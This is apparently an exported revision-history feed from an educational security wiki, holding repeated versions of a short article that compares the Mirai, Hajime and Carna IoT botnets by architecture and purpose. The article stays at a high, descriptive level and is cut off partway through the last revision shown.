Mirai, Hajime, and Carna have different goals and architectures. Mirai is used for large-scale [https://wiki.elvis.science/index.php?title=Denial_of_Service_Attacks DDoS] attacks, Hajime attempts to protect the devices it infects from other threats, and Carna was primarily a research project highlighting the security issues in IoT devices. What&#039;s interesting is that despite having very different objectives, these botnets often use similar methods to spread and compromise devices.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* Mirai: [https://www.cloudflare.com/de-de/learning/ddos/glossary/mirai-botnet/ Cloudflare - Mirai Botnet]&lt;br /&gt;
* Hajime: [https://www.theregister.com/2017/04/27/hajime_iot_botnet/ The Register - Hajime IoT Botnet]&lt;br /&gt;
* Carna: [https://www.c0mplex1.com/blog/carna-botnet-history/ Complex1 - Carna Botnet History]&lt;br /&gt;
* [https://census2012.sourceforge.net/paper.html Internet Census 2012 - Carna Botnet Paper]&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>JWildauer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=User:Hajime_vs_Mirai_vs_Carna&amp;diff=17139</id>
		<title>User:Hajime vs Mirai vs Carna</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=User:Hajime_vs_Mirai_vs_Carna&amp;diff=17139"/>
		<updated>2024-12-16T14:06:53Z</updated>

		<summary type="html">&lt;p&gt;JWildauer: JWildauer moved page User:Hajime vs Mirai vs Carna to Hajime vs Mirai vs Carna&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;#REDIRECT [[Hajime vs Mirai vs Carna]]&lt;/div&gt;</summary>
		<author><name>JWildauer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Hajime_vs_Mirai_vs_Carna&amp;diff=17138</id>
		<title>Hajime vs Mirai vs Carna</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Hajime_vs_Mirai_vs_Carna&amp;diff=17138"/>
		<updated>2024-12-16T14:06:53Z</updated>

		<summary type="html">&lt;p&gt;JWildauer: JWildauer moved page User:Hajime vs Mirai vs Carna to Hajime vs Mirai vs Carna&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
&lt;br /&gt;
IoT [[Botnets|botnet]] are networks of IoT devices that have been [[IoT_Malware|infected by malware]] and can be controlled either through a centralized or decentralized approach. These devices are often highly vulnerable because they have weak or default credentials. IoT devices are specially  in high demand for those attacks simply by the nature that so many of such devices exist.[[File:IoT_devicesNumber.png|center|thumb|Estimated number of IoT Devices&amp;lt;ref name=&amp;quot;IoTDevices&amp;quot;&amp;gt;[https://www.researchgate.net/figure/Global-active-IoT-devices-over-the-years-1_fig1_360765945 ResearchGate - Global Active IoT Devices Over the Years]&amp;lt;/ref&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In this article, we will examine and compare three well-known IoT botnets: Mirai, Hajime, and Carna.&lt;br /&gt;
&lt;br /&gt;
== Mirai ==&lt;br /&gt;
&lt;br /&gt;
Mirai&amp;lt;ref name=&amp;quot;MiraiReference&amp;quot;&amp;gt;https://www.bsi.bund.de/DE/Themen/Verbraucherinnen-und-Verbraucher/Cyber-Sicherheitslage/Methoden-der-Cyber-Kriminalitaet/Botnetze/Steckbriefe-aktueller-Botnetze/Steckbriefe/Mirai.html&amp;lt;/ref&amp;gt; is a botnet that specifically targets IoT devices and uses them for large-scale Distributed Denial of Service ([https://wiki.elvis.science/index.php?title=Denial_of_Service_Attacks DDoS]) attacks. Mirai spreads by scanning the internet for devices that are easy to compromise — typically those that still use default usernames and passwords like &amp;quot;admin:admin&amp;quot; or &amp;quot;root:root&amp;quot;. There are large databases available that contain millions of such credentials, making it easy for attackers to gain access. Mirai consists of three main components: a C&amp;amp;C server, a scanner, and a loader that installs the malware onto vulnerable devices.&amp;lt;ref name=&amp;quot;MiraiReference2&amp;quot;&amp;gt;https://ieeexplore.ieee.org/document/8170867&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Hajime ==&lt;br /&gt;
&lt;br /&gt;
Hajime differs from Mirai because it uses a peer-to-peer&amp;lt;ref name=&amp;quot;PeerToPeerReference&amp;quot;&amp;gt;https://www.researchgate.net/publication/345805408_Botnet_Fingerprint_Using_Bro-IDS&amp;lt;/ref&amp;gt; architecture, which means there is no central server in control. This makes it much harder for authorities to take down the whole botnet since there isn’t a single point of failure. This architecture is more advanced compared to using a C&amp;amp;C server. Interestingly, Hajime does not conduct DDoS attacks like Mirai. Instead, it appears to protect the compromised devices by blocking certain ports. Despite this, it remains a potential threat because it still maintains unauthorized control over IoT devices.&amp;lt;ref name=&amp;quot;HajimeReference&amp;quot;&amp;gt;https://www.infopoint-security.de/media/Botnet_Hajime_Radware_Analyse.pdf&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Carna ==&lt;br /&gt;
&lt;br /&gt;
Carna is quite unusual. It was created as part of the Internet Census 2012&amp;lt;ref name=&amp;quot;CarnaReference&amp;quot;&amp;gt;https://census2012.sourceforge.net/paper.html&amp;lt;/ref&amp;gt; project to find unsecured IoT devices and map the global IoT landscape. Unlike Mirai and Hajime, Carna wasn’t designed for malicious purposes. Instead, it used infected devices to collect data about the internet — without conducting any known attacks like DDoS. Carna was a research initiative to demonstrate how many IoT devices were exposed and lacked proper security. It was designed to perform multiple censuses and then delete itself from the devices. Its data was used in many research papers&amp;lt;ref&amp;gt;https://dl.acm.org/doi/pdf/10.1145/2656877.2656893&amp;lt;/ref&amp;gt;, but overall, the census was illegal, and the results need to be treated therefore with caution.&lt;br /&gt;
[[File:carna420.jpg|center|thumb|Carna Clients in 2012&amp;lt;ref name=&amp;quot;carna&amp;quot;&amp;gt;https://census2012.sourceforge.net/images.html&amp;lt;/ref&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Comparison of the Botnets ==&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+ Differences between Mirai, Hajime, and Carna&lt;br /&gt;
|-&lt;br /&gt;
! Botnet !! Architecture !! Main Objective !! Special Features&lt;br /&gt;
|-&lt;br /&gt;
| Mirai || Centralized (C&amp;amp;C) || DDoS attacks || Uses default logins for infiltration&lt;br /&gt;
|-&lt;br /&gt;
| Hajime || Peer-to-peer || Protection of infected devices || No centralized control, blocks ports&lt;br /&gt;
|-&lt;br /&gt;
| Carna || Centralized || Research purposes || Developed for mapping global IoT security, no destructive activities&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
Mirai, Hajime, and Carna have different goals and architectures. Mirai is used for large-scale [https://wiki.elvis.science/index.php?title=Denial_of_Service_Attacks DDoS] attacks, Hajime attempts to protect the devices it infects from other threats, and Carna was primarily a research project highlighting the security issues in IoT devices. What&#039;s interesting is that despite having very different objectives, these botnets often use similar methods to spread and compromise devices.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* Mirai: [https://www.cloudflare.com/de-de/learning/ddos/glossary/mirai-botnet/ Cloudflare - Mirai Botnet]&lt;br /&gt;
* Hajime: [https://www.theregister.com/2017/04/27/hajime_iot_botnet/ The Register - Hajime IoT Botnet]&lt;br /&gt;
* Carna: [https://www.c0mplex1.com/blog/carna-botnet-history/ Complex1 - Carna Botnet History]&lt;br /&gt;
* [https://census2012.sourceforge.net/paper.html Internet Census 2012 - Carna Botnet Paper]&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>JWildauer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Hajime_vs_Mirai_vs_Carna&amp;diff=17137</id>
		<title>Hajime vs Mirai vs Carna</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Hajime_vs_Mirai_vs_Carna&amp;diff=17137"/>
		<updated>2024-12-16T14:01:45Z</updated>

		<summary type="html">&lt;p&gt;JWildauer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
&lt;br /&gt;
IoT [[Botnets|botnet]] are networks of IoT devices that have been [[IoT_Malware|infected by malware]] and can be controlled either through a centralized or decentralized approach. These devices are often highly vulnerable because they have weak or default credentials. IoT devices are specially  in high demand for those attacks simply by the nature that so many of such devices exist.[[File:IoT_devicesNumber.png|center|thumb|Estimated number of IoT Devices&amp;lt;ref name=&amp;quot;IoTDevices&amp;quot;&amp;gt;[https://www.researchgate.net/figure/Global-active-IoT-devices-over-the-years-1_fig1_360765945 ResearchGate - Global Active IoT Devices Over the Years]&amp;lt;/ref&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In this article, we will examine and compare three well-known IoT botnets: Mirai, Hajime, and Carna.&lt;br /&gt;
&lt;br /&gt;
== Mirai ==&lt;br /&gt;
&lt;br /&gt;
Mirai&amp;lt;ref name=&amp;quot;MiraiReference&amp;quot;&amp;gt;https://www.bsi.bund.de/DE/Themen/Verbraucherinnen-und-Verbraucher/Cyber-Sicherheitslage/Methoden-der-Cyber-Kriminalitaet/Botnetze/Steckbriefe-aktueller-Botnetze/Steckbriefe/Mirai.html&amp;lt;/ref&amp;gt; is a botnet that specifically targets IoT devices and uses them for large-scale Distributed Denial of Service ([https://wiki.elvis.science/index.php?title=Denial_of_Service_Attacks DDoS]) attacks. Mirai spreads by scanning the internet for devices that are easy to compromise — typically those that still use default usernames and passwords like &amp;quot;admin:admin&amp;quot; or &amp;quot;root:root&amp;quot;. There are large databases available that contain millions of such credentials, making it easy for attackers to gain access. Mirai consists of three main components: a C&amp;amp;C server, a scanner, and a loader that installs the malware onto vulnerable devices.&amp;lt;ref name=&amp;quot;MiraiReference2&amp;quot;&amp;gt;https://ieeexplore.ieee.org/document/8170867&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Hajime ==&lt;br /&gt;
&lt;br /&gt;
Hajime differs from Mirai because it uses a peer-to-peer&amp;lt;ref name=&amp;quot;PeerToPeerReference&amp;quot;&amp;gt;https://www.researchgate.net/publication/345805408_Botnet_Fingerprint_Using_Bro-IDS&amp;lt;/ref&amp;gt; architecture, which means there is no central server in control. This makes it much harder for authorities to take down the whole botnet since there isn’t a single point of failure. This architecture is more advanced compared to using a C&amp;amp;C server. Interestingly, Hajime does not conduct DDoS attacks like Mirai. Instead, it appears to protect the compromised devices by blocking certain ports. Despite this, it remains a potential threat because it still maintains unauthorized control over IoT devices.&amp;lt;ref name=&amp;quot;HajimeReference&amp;quot;&amp;gt;https://www.infopoint-security.de/media/Botnet_Hajime_Radware_Analyse.pdf&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Carna ==&lt;br /&gt;
&lt;br /&gt;
Carna is quite unusual. It was created as part of the Internet Census 2012&amp;lt;ref name=&amp;quot;CarnaReference&amp;quot;&amp;gt;https://census2012.sourceforge.net/paper.html&amp;lt;/ref&amp;gt; project to find unsecured IoT devices and map the global IoT landscape. Unlike Mirai and Hajime, Carna wasn’t designed for malicious purposes. Instead, it used infected devices to collect data about the internet — without conducting any known attacks like DDoS. Carna was a research initiative to demonstrate how many IoT devices were exposed and lacked proper security. It was designed to perform multiple censuses and then delete itself from the devices. Its data was used in many research papers&amp;lt;ref&amp;gt;https://dl.acm.org/doi/pdf/10.1145/2656877.2656893&amp;lt;/ref&amp;gt;, but overall, the census was illegal, and the results need to be treated therefore with caution.&lt;br /&gt;
[[File:carna420.jpg|center|thumb|Carna Clients in 2012&amp;lt;ref name=&amp;quot;carna&amp;quot;&amp;gt;https://census2012.sourceforge.net/images.html&amp;lt;/ref&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Comparison of the Botnets ==&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+ Differences between Mirai, Hajime, and Carna&lt;br /&gt;
|-&lt;br /&gt;
! Botnet !! Architecture !! Main Objective !! Special Features&lt;br /&gt;
|-&lt;br /&gt;
| Mirai || Centralized (C&amp;amp;C) || DDoS attacks || Uses default logins for infiltration&lt;br /&gt;
|-&lt;br /&gt;
| Hajime || Peer-to-peer || Protection of infected devices || No centralized control, blocks ports&lt;br /&gt;
|-&lt;br /&gt;
| Carna || Centralized || Research purposes || Developed for mapping global IoT security, no destructive activities&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
Mirai, Hajime, and Carna have different goals and architectures. Mirai is used for large-scale [https://wiki.elvis.science/index.php?title=Denial_of_Service_Attacks DDoS] attacks, Hajime attempts to protect the devices it infects from other threats, and Carna was primarily a research project highlighting the security issues in IoT devices. What&#039;s interesting is that despite having very different objectives, these botnets often use similar methods to spread and compromise devices.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* Mirai: [https://www.cloudflare.com/de-de/learning/ddos/glossary/mirai-botnet/ Cloudflare - Mirai Botnet]&lt;br /&gt;
* Hajime: [https://www.theregister.com/2017/04/27/hajime_iot_botnet/ The Register - Hajime IoT Botnet]&lt;br /&gt;
* Carna: [https://www.c0mplex1.com/blog/carna-botnet-history/ Complex1 - Carna Botnet History]&lt;br /&gt;
* [https://census2012.sourceforge.net/paper.html Internet Census 2012 - Carna Botnet Paper]&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>JWildauer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Hajime_vs_Mirai_vs_Carna&amp;diff=17136</id>
		<title>Hajime vs Mirai vs Carna</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Hajime_vs_Mirai_vs_Carna&amp;diff=17136"/>
		<updated>2024-12-16T13:59:54Z</updated>

		<summary type="html">&lt;p&gt;JWildauer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
&lt;br /&gt;
IoT [[Botnets|botnet]] are networks of IoT devices that have been [[IoT_Malware|infected by malware]] and can be controlled either through a centralized or decentralized approach. These devices are often highly vulnerable because they have weak or default credentials. IoT devices are specially  in high demand for those attacks simply by the nature that so many of such devices exist.[[File:IoT_devicesNumber.png|center|thumb|Estimated number of IoT Devices&amp;lt;ref name=&amp;quot;IoTDevices&amp;quot;&amp;gt;[https://www.researchgate.net/figure/Global-active-IoT-devices-over-the-years-1_fig1_360765945 ResearchGate - Global Active IoT Devices Over the Years]&amp;lt;/ref&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In this article, we will examine and compare three well-known IoT botnets: Mirai, Hajime, and Carna.&lt;br /&gt;
&lt;br /&gt;
== Mirai ==&lt;br /&gt;
&lt;br /&gt;
Mirai&amp;lt;ref name=&amp;quot;MiraiReference&amp;quot;&amp;gt;https://www.bsi.bund.de/DE/Themen/Verbraucherinnen-und-Verbraucher/Cyber-Sicherheitslage/Methoden-der-Cyber-Kriminalitaet/Botnetze/Steckbriefe-aktueller-Botnetze/Steckbriefe/Mirai.html&amp;lt;/ref&amp;gt; is a botnet that specifically targets IoT devices and uses them for large-scale Distributed Denial of Service ([https://wiki.elvis.science/index.php?title=Denial_of_Service_Attacks DDoS]) attacks. Mirai spreads by scanning the internet for devices that are easy to compromise — typically those that still use default usernames and passwords like &amp;quot;admin:admin&amp;quot; or &amp;quot;root:root&amp;quot;. There are large databases available that contain millions of such credentials, making it easy for attackers to gain access. Mirai consists of three main components: a C&amp;amp;C server, a scanner, and a loader that installs the malware onto vulnerable devices.&amp;lt;ref name=&amp;quot;MiraiReference2&amp;quot;&amp;gt;https://ieeexplore.ieee.org/document/8170867&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Hajime ==&lt;br /&gt;
&lt;br /&gt;
Hajime differs from Mirai because it uses a peer-to-peer&amp;lt;ref name=&amp;quot;PeerToPeerReference&amp;quot;&amp;gt;https://www.researchgate.net/publication/345805408_Botnet_Fingerprint_Using_Bro-IDS&amp;lt;/ref&amp;gt; architecture, which means there is no central server in control. This makes it much harder for authorities to take down the whole botnet since there isn’t a single point of failure. This architecture is more advanced compared to using a C&amp;amp;C server. Interestingly, Hajime does not conduct DDoS attacks like Mirai. Instead, it appears to protect the compromised devices by blocking certain ports. Despite this, it remains a potential threat because it still maintains unauthorized control over IoT devices.&amp;lt;ref name=&amp;quot;HajimeReference&amp;quot;&amp;gt;https://www.infopoint-security.de/media/Botnet_Hajime_Radware_Analyse.pdf&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Carna ==&lt;br /&gt;
&lt;br /&gt;
Carna is quite unusual. It was created as part of the Internet Census 2012&amp;lt;ref name=&amp;quot;CarnaReference&amp;quot;&amp;gt;https://census2012.sourceforge.net/paper.html&amp;lt;/ref&amp;gt; project to find unsecured IoT devices and map the global IoT landscape. Unlike Mirai and Hajime, Carna wasn’t designed for malicious purposes. Instead, it used infected devices to collect data about the internet — without conducting any known attacks like DDoS. Carna was a research initiative to demonstrate how many IoT devices were exposed and lacked proper security. It was designed to perform multiple censuses and then delete itself from the devices. Its data was used in many research papers&amp;lt;ref&amp;gt;https://dl.acm.org/doi/pdf/10.1145/2656877.2656893&amp;lt;/ref&amp;gt;, but overall, the census was illegal, and the results need to be treated therefore with caution.&lt;br /&gt;
[[File:carna420.jpg|center|thumb|Carna Clients in 2012&amp;lt;ref name=&amp;quot;carna&amp;quot;&amp;gt;https://census2012.sourceforge.net/images.html&amp;lt;/ref&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Comparison of the Botnets ==&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+ Differences between Mirai, Hajime, and Carna&lt;br /&gt;
|-&lt;br /&gt;
! Botnet !! Architecture !! Main Objective !! Special Features&lt;br /&gt;
|-&lt;br /&gt;
| Mirai || Centralized (C&amp;amp;C) || DDoS attacks || Uses default logins for infiltration&lt;br /&gt;
|-&lt;br /&gt;
| Hajime || Peer-to-peer || Protection of infected devices || No centralized control, blocks ports&lt;br /&gt;
|-&lt;br /&gt;
| Carna || Centralized || Research purposes || Developed for mapping global IoT security, no destructive activities&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
Mirai, Hajime, and Carna have different goals and architectures. Mirai is used for large-scale [https://wiki.elvis.science/index.php?title=Denial_of_Service_Attacks DDoS] attacks, Hajime attempts to protect the devices it infects from other threats, and Carna was primarily a research project highlighting the security issues in IoT devices. What&#039;s interesting is that despite having very different objectives, these botnets often use similar methods to spread and compromise devices.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* Mirai: [https://www.cloudflare.com/de-de/learning/ddos/glossary/mirai-botnet/ Cloudflare - Mirai Botnet]&lt;br /&gt;
* Hajime: [https://www.theregister.com/2017/04/27/hajime_iot_botnet/ The Register - Hajime IoT Botnet]&lt;br /&gt;
* Carna: [https://www.c0mplex1.com/blog/carna-botnet-history/ Complex1 - Carna Botnet History]&lt;br /&gt;
* [https://census2012.sourceforge.net/paper.html Internet Census 2012 - Carna Botnet Paper]&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Basics]]&lt;/div&gt;</summary>
		<author><name>JWildauer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=User:JWildauer/HajimeVSMiraiVSCarna&amp;diff=17135</id>
		<title>User:JWildauer/HajimeVSMiraiVSCarna</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=User:JWildauer/HajimeVSMiraiVSCarna&amp;diff=17135"/>
		<updated>2024-12-16T13:57:58Z</updated>

		<summary type="html">&lt;p&gt;JWildauer: JWildauer moved page User:JWildauer/HajimeVSMiraiVSCarna to User:Hajime vs Mirai vs Carna&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;#REDIRECT [[User:Hajime vs Mirai vs Carna]]&lt;/div&gt;</summary>
		<author><name>JWildauer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Hajime_vs_Mirai_vs_Carna&amp;diff=17134</id>
		<title>Hajime vs Mirai vs Carna</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Hajime_vs_Mirai_vs_Carna&amp;diff=17134"/>
		<updated>2024-12-16T13:57:58Z</updated>

		<summary type="html">&lt;p&gt;JWildauer: JWildauer moved page User:JWildauer/HajimeVSMiraiVSCarna to User:Hajime vs Mirai vs Carna&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
&lt;br /&gt;
IoT [[Botnets|botnet]] are networks of IoT devices that have been [[IoT_Malware|infected by malware]] and can be controlled either through a centralized or decentralized approach. These devices are often highly vulnerable because they have weak or default credentials. IoT devices are specially  in high demand for those attacks simply by the nature that so many of such devices exist.[[File:IoT_devicesNumber.png|center|thumb|Estimated number of IoT Devices&amp;lt;ref name=&amp;quot;IoTDevices&amp;quot;&amp;gt;[https://www.researchgate.net/figure/Global-active-IoT-devices-over-the-years-1_fig1_360765945 ResearchGate - Global Active IoT Devices Over the Years]&amp;lt;/ref&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In this article, we will examine and compare three well-known IoT botnets: Mirai, Hajime, and Carna.&lt;br /&gt;
&lt;br /&gt;
== Mirai ==&lt;br /&gt;
&lt;br /&gt;
Mirai&amp;lt;ref name=&amp;quot;MiraiReference&amp;quot;&amp;gt;https://www.bsi.bund.de/DE/Themen/Verbraucherinnen-und-Verbraucher/Cyber-Sicherheitslage/Methoden-der-Cyber-Kriminalitaet/Botnetze/Steckbriefe-aktueller-Botnetze/Steckbriefe/Mirai.html&amp;lt;/ref&amp;gt; is a botnet that specifically targets IoT devices and uses them for large-scale Distributed Denial of Service ([https://wiki.elvis.science/index.php?title=Denial_of_Service_Attacks DDoS]) attacks. Mirai spreads by scanning the internet for devices that are easy to compromise — typically those that still use default usernames and passwords like &amp;quot;admin:admin&amp;quot; or &amp;quot;root:root&amp;quot;. There are large databases available that contain millions of such credentials, making it easy for attackers to gain access. Mirai consists of three main components: a C&amp;amp;C server, a scanner, and a loader that installs the malware onto vulnerable devices.&amp;lt;ref name=&amp;quot;MiraiReference2&amp;quot;&amp;gt;https://ieeexplore.ieee.org/document/8170867&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Hajime ==&lt;br /&gt;
&lt;br /&gt;
Hajime differs from Mirai because it uses a peer-to-peer&amp;lt;ref name=&amp;quot;PeerToPeerReference&amp;quot;&amp;gt;https://www.researchgate.net/publication/345805408_Botnet_Fingerprint_Using_Bro-IDS&amp;lt;/ref&amp;gt; architecture, which means there is no central server in control. This makes it much harder for authorities to take down the whole botnet since there isn’t a single point of failure. This architecture is more advanced compared to using a C&amp;amp;C server. Interestingly, Hajime does not conduct DDoS attacks like Mirai. Instead, it appears to protect the compromised devices by blocking certain ports. Despite this, it remains a potential threat because it still maintains unauthorized control over IoT devices.&amp;lt;ref name=&amp;quot;HajimeReference&amp;quot;&amp;gt;https://www.infopoint-security.de/media/Botnet_Hajime_Radware_Analyse.pdf&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Carna ==&lt;br /&gt;
&lt;br /&gt;
Carna is quite unusual. It was created as part of the Internet Census 2012&amp;lt;ref name=&amp;quot;CarnaReference&amp;quot;&amp;gt;https://census2012.sourceforge.net/paper.html&amp;lt;/ref&amp;gt; project to find unsecured IoT devices and map the global IoT landscape. Unlike Mirai and Hajime, Carna wasn’t designed for malicious purposes. Instead, it used infected devices to collect data about the internet — without conducting any known attacks like DDoS. Carna was a research initiative to demonstrate how many IoT devices were exposed and lacked proper security. It was designed to perform multiple censuses and then delete itself from the devices. Its data was used in many research papers&amp;lt;ref&amp;gt;https://dl.acm.org/doi/pdf/10.1145/2656877.2656893&amp;lt;/ref&amp;gt;, but overall, the census was illegal, and the results need to be treated therefore with caution.&lt;br /&gt;
[[File:carna420.jpg|center|thumb|Carna Clients in 2012&amp;lt;ref name=&amp;quot;carna&amp;quot;&amp;gt;https://census2012.sourceforge.net/images.html&amp;lt;/ref&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Comparison of the Botnets ==&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+ Differences between Mirai, Hajime, and Carna&lt;br /&gt;
|-&lt;br /&gt;
! Botnet !! Architecture !! Main Objective !! Special Features&lt;br /&gt;
|-&lt;br /&gt;
| Mirai || Centralized (C&amp;amp;C) || DDoS attacks || Uses default logins for infiltration&lt;br /&gt;
|-&lt;br /&gt;
| Hajime || Peer-to-peer || Protection of infected devices || No centralized control, blocks ports&lt;br /&gt;
|-&lt;br /&gt;
| Carna || Centralized || Research purposes || Developed for mapping global IoT security, no destructive activities&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
Mirai, Hajime, and Carna have different goals and architectures. Mirai is used for large-scale [https://wiki.elvis.science/index.php?title=Denial_of_Service_Attacks DDoS] attacks, Hajime attempts to protect the devices it infects from other threats, and Carna was primarily a research project highlighting the security issues in IoT devices. What&#039;s interesting is that despite having very different objectives, these botnets often use similar methods to spread and compromise devices.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* Mirai: [https://www.cloudflare.com/de-de/learning/ddos/glossary/mirai-botnet/ Cloudflare - Mirai Botnet]&lt;br /&gt;
* Hajime: [https://www.theregister.com/2017/04/27/hajime_iot_botnet/ The Register - Hajime IoT Botnet]&lt;br /&gt;
* Carna: [https://www.c0mplex1.com/blog/carna-botnet-history/ Complex1 - Carna Botnet History]&lt;br /&gt;
* [https://census2012.sourceforge.net/paper.html Internet Census 2012 - Carna Botnet Paper]&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;/div&gt;</summary>
		<author><name>JWildauer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Hajime_vs_Mirai_vs_Carna&amp;diff=17133</id>
		<title>Hajime vs Mirai vs Carna</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Hajime_vs_Mirai_vs_Carna&amp;diff=17133"/>
		<updated>2024-12-16T13:56:13Z</updated>

		<summary type="html">&lt;p&gt;JWildauer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
&lt;br /&gt;
IoT [[Botnets|botnet]] are networks of IoT devices that have been [[IoT_Malware|infected by malware]] and can be controlled either through a centralized or decentralized approach. These devices are often highly vulnerable because they have weak or default credentials. IoT devices are specially  in high demand for those attacks simply by the nature that so many of such devices exist.[[File:IoT_devicesNumber.png|center|thumb|Estimated number of IoT Devices&amp;lt;ref name=&amp;quot;IoTDevices&amp;quot;&amp;gt;[https://www.researchgate.net/figure/Global-active-IoT-devices-over-the-years-1_fig1_360765945 ResearchGate - Global Active IoT Devices Over the Years]&amp;lt;/ref&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In this article, we will examine and compare three well-known IoT botnets: Mirai, Hajime, and Carna.&lt;br /&gt;
&lt;br /&gt;
== Mirai ==&lt;br /&gt;
&lt;br /&gt;
Mirai&amp;lt;ref name=&amp;quot;MiraiReference&amp;quot;&amp;gt;https://www.bsi.bund.de/DE/Themen/Verbraucherinnen-und-Verbraucher/Cyber-Sicherheitslage/Methoden-der-Cyber-Kriminalitaet/Botnetze/Steckbriefe-aktueller-Botnetze/Steckbriefe/Mirai.html&amp;lt;/ref&amp;gt; is a botnet that specifically targets IoT devices and uses them for large-scale Distributed Denial of Service ([https://wiki.elvis.science/index.php?title=Denial_of_Service_Attacks DDoS]) attacks. Mirai spreads by scanning the internet for devices that are easy to compromise — typically those that still use default usernames and passwords like &amp;quot;admin:admin&amp;quot; or &amp;quot;root:root&amp;quot;. There are large databases available that contain millions of such credentials, making it easy for attackers to gain access. Mirai consists of three main components: a C&amp;amp;C server, a scanner, and a loader that installs the malware onto vulnerable devices.&amp;lt;ref name=&amp;quot;MiraiReference2&amp;quot;&amp;gt;https://ieeexplore.ieee.org/document/8170867&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Hajime ==&lt;br /&gt;
&lt;br /&gt;
